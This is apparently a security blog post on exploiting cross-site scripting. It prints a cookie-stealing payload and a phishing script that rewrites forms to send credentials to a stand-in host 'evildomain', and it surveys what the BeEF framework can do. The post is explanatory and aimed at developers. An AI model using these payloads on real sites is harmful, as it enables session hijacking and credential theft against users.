How to: Exploit an XSS

If you aren’t familiar with the basic concept of an XSS vulnerability, I recommend that you read my previous post The basics of Cross-site Scripting (XSS).

Now that we’ve got the different XSS types down, let’s head into what an attacker could use them for. After all, an XSS is basically injecting script or HTML into a webpage, how bad could it really be? Let me tell you;

The Session Hijacking attack.

This attack will use JavaScript to steal the current users cookies, as well as their session cookie.
An attack vector for this kind of attack could look something like this:

<script>document.InnerHTML += "<img src='http://evildomain/?cookie="+document.cookie+" />";</script>

Let’s break this payload down. It uses a script tag to append an image to the current page. When the browser loads the image, the victim will send his cookies to evildomain where the attacker stores the victims cookies.

Cool. So now the attacker has all the cookies of his victim, what now? This is where the attacker forges his cookies to look identical to the victims, fooling the server to think that the attacker is the victim and by that, using the victims session to be logged in on the website. The session is hijacked by the attacker, hence the name “Session Hijacking”. There is however a flag that you can set on your cookies called HTTPOnly, which makes the cookies unreachable from client-side scripts. More about that in my next post, let’s move on!

The phishing attack

This attack will use Javascript, CSS or HTML to fool the victim to log in. The basic concept is to overwrite the HTML of the current page to look identical to the login page. Little does the victim know, his credentials are sent to the attacker instead of to the website when he/she tries to log in.

An attack vector for this kind of attack could look something like this:

<script src="http://evildomain/phishing.js"></script>

So what does this payload do? Well, it injects a script tag that will load the script located at “http://evildomain/phishing.js”.
Let’s take a look at what phishing.js could contain:

//Function for overriding the HTML
function override(url){
 var req = new XMLHttpRequest();
 req.open('GET', url,false);
 req.onreadystatechange = function(){
  if(req.readyState == 4 && req.responseText != ""){
   document.innerHTML = req.responseText;
  }
 }
 req.send(null);
}

//Override page HTML
override("/login.php");

//Spoof URL
history.pushState({he: "he"}, document.getElementsByTagName("title")[0].innerHTML, "login.php");

//Hook forms
var forms = document.getElementsByTagName("form");
for(index=0;index<forms.length;index++){
 void(forms[index].action = "http://evildomain/logpasswords");
}

Whoa, a lot bigger than the previous payload! To put it in simple terms this script has three stages
:

1.  Overwrite the current page with the content of the “login.php” page, making it look like the victim is located at the login page (The page will look like the login page).
2. Overwrite the current URI with “/login.php”, making it look like the victim is located at the login page (The URL bar will look like /login.php).
3. Overwrite all forms so that when the victim logs in, it will submit their credentials to “http://evildomain/logpasswords”.

Okay, so an attacker could fool users to give them their credentials or they could steal their session and be logged in as the victim. What else could an attacker do?

Custom attacks

Depending on what information about the victim the vulnerable website has stored, a lot of different scenarios could come in play. Let’s pretend the website has a private messaging system. The attacker could then forge a payload to read all of the victims private messages, or even send them as the victim! The scope of custom attacks is only limited by the imagination of the attacker, however if he lacks the imagination, there’s ready-made frameworks for exploiting XSS to it’s fullest! One of the most, if not the most, popular is called The Browser Exploitation Framework or just, BeEF.

Framework-based attacks

There are tons of different attacks that an attacker could pull out of his sleeve with the help of a framework like BeEF, but to name a few (don’t worry, I’ll explain them further down);

1. Steal cookies
2. Redirect the victim to a URL of the attackers choice
3. Mine details about the victims browser
4. Launch a Man-In-The-Browser attack
5. Launch browser exploits

So, the classic session hijacking and phishing attack is implemented already in the framework, but what about the others? Let’s quickly go through them.

Redirect the victim to a URL of the attackers choice

This attack is more or less self-explanatory. The attacker can redirect the victim to any URL of his choice, it could be their own site filled with ads or just whatever they like.

Mine details about the victims browser

A lot of info can be gathered about the victim, such as what browser they are using or depending on what browser they are using, what websites they have visited. In some browsers, the attacker can also steal whatever the victim has stored in their clipboard (What info they currently have copied).

Launch a Man-In-The-Browser attack

A Man-In-The-Browser attack is an XSS that follows the victim around until they close the tab/window. This means that even if they navigate away from the page that had the XSS vulnerability, the attacker is still in control of the user, prolonging his attack time.

Launch browser exploits

BeEF has integrated with another framework for exploiting software bugs called MetaSploit, so an attacker could first fingerprint info about the user and then launch an exploit towards the browser they are using. In a worst case scenario this means that the attacker could get full access to the victims computer. From an XSS vulnerability. Creepy stuff!

All of these examples represent just a fraction of what an attacker could do with an XSS vulnerability. Rather than seeing XSS vulnerabilities as harmless, we urge developers to recognize the potential risks involved and take measures to mitigate them. I mean, if Google will pay up to $3,133.7 for a single XSS vulnerability, that has to mean it’s pretty bad right?

Questions? Did we miss something? Hit us up @detectify or hello@detectify.com!

By: Mathias Karlsson